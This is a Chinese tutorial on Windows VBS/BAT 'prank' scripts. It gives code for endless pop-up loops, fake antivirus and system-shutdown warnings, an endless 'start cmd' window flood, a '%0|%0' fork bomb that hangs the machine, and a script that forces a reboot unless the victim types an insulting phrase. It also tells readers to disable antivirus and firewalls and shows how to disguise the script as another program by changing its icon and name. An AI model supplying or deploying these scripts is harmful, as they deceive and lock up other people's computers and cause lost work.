VBS/BAT使用/恶搞（操作+图示）

新建文本文件(xxx.txt)，复制以下代码到文本文件，保存后将’.txt’后缀改成’.vbs’或者‘.bat’，以下代码若标注为.bat，那么将后缀改成.bat，否则默认改成.vbs。然后点击修改后的文件，就能出现弹窗的效果。那么如何关闭这些弹窗呢？一般可通过任务管理器结束wscript/cscript或者找到以下红绿蓝图标，结束任务即可。

准备1：因为涉及到修改后缀名，有些小伙伴的文件没有后缀名，如何修改让文件显示后缀名呢？

打开我的电脑–>查看–>勾选“文件扩展名”，贴图如下：

准备2：如果出现360或者防火墙拦截，先关闭，以下的这些代码对电脑没有实质性损害。

可能出现的情况：

如果复制我的代码运行后报错"无效字符"，或者中文会变成乱码，代码是没有问题的，都是亲测后截图。那么如何解决呢？步骤如下

步骤一：

步骤二：

步骤三：

1. 返回出现一个弹窗

do 
msgbox "hello world" 
loop

2. 无限报数

从0开始报数，无限循环…，这个若要用任务管理器结束进程的话，需要在“后台进程”中查找到对应图标并结束。

Set s = CreateObject("sapi.spvoice") 
i=0 
do 
s.speak i 
i=i+1 
loop

3. 多个错误信息的弹窗

解释说明：
指令中的数字代表的含义如下：

数字	按钮样式
0	确定
1	确定 取消
2	终止 重试 忽略
3	是 否 取消
4	是 否
5	重试 取消

数字	图标样式
0	没有图标
16	错误图标
32	问号图标
48	感叹号图标
64	信息图标

r=msgbox("由于另一个程序正在运行中，此操作无法完成",5+48,"系统错误")
r=msgbox("发现木马，建议立即清除",0+16,"360杀毒，威胁警告")
do
r=msgbox("系统即将关闭。请关闭所有正在运行的文件，然后注销。",0+64,"关闭系统")
loop

4. 无限弹窗（.bat）

后缀改成.bat，此条慎用，无限弹窗，且速度极快，容易死机，满屏黑色命令提示符窗口，强制关机有效。

:start
start cmd 
goto start 

5. 电脑死机（.bat）

代码非常简短，但杀伤力不小。%0就是那个bat文件本身，整句话的意思就是bai启动批处理自身，并且参数是自身，这样批处理就从新窗口启动了这个批处理，造成循环。最后效果就是cpu很快飙升到99%，卡住…只能重启

%0|%0

6. 问答型弹窗+定时关机重启

恶搞时确保电脑上的东西已保存，不然重启后有些东西没了别来找我（手动微笑），经验之谈。

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是傻子，不说的话就一分钟关你机，不信的可以试试···"" ",0 ,true 
dim a
do while(a <> "我是傻子")
a = inputbox ("说我是傻子,就不会关机，赶紧的，说 ""我是傻子"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
msgbox chr(13) + chr(13) + chr(13) + "乖，听话，叫声大哥，哥以后罩着你" 

7. 使用vbs制作一个简易计算器

msgbox "欢迎使用VBS计算器",,"计算器"
dim a,b,c,m
a = inputbox("请输入第一个数字")
c = inputbox("请输入计算符号")
b = inputbox("请输入第二个数字")
if c = "+" then m = a + b
if c = "-" then m = a - b
if c = "*" then m = a * b
if c = "/" then m = a / b
msgbox a&c&b&"="&m,,"计算完毕"

使用elseif完善计算器

msgbox "欢迎使用VBS计算器",,"计算器"
dim a,b,c,m
a = inputbox("请输入第一个数字")
c = inputbox("请输入计算符号")
b = inputbox("请输入第二个数字")
if c = "+" then m = a + b
if c = "-" then m = a - b
if c = "*" then m = a * b
if c = "/" then m = a / b
if a = "" then
msgbox "缺少参数1",,"Error"
elseif b = "" then
msgbox "缺少参数2",,"Error"
elseif c = "" then
msgbox "缺少运算符号",,"Error"
else
msgbox a&c&b&"="&m,,"计算完毕"
end if

8. 如何伪装成其他程序

右键创建好的xxx.vbs文件–>创建快捷方式，对新生成的文件右键“属性”，更改图标


修改图标后再修改文件名，就可以做到以假乱真的效果啦~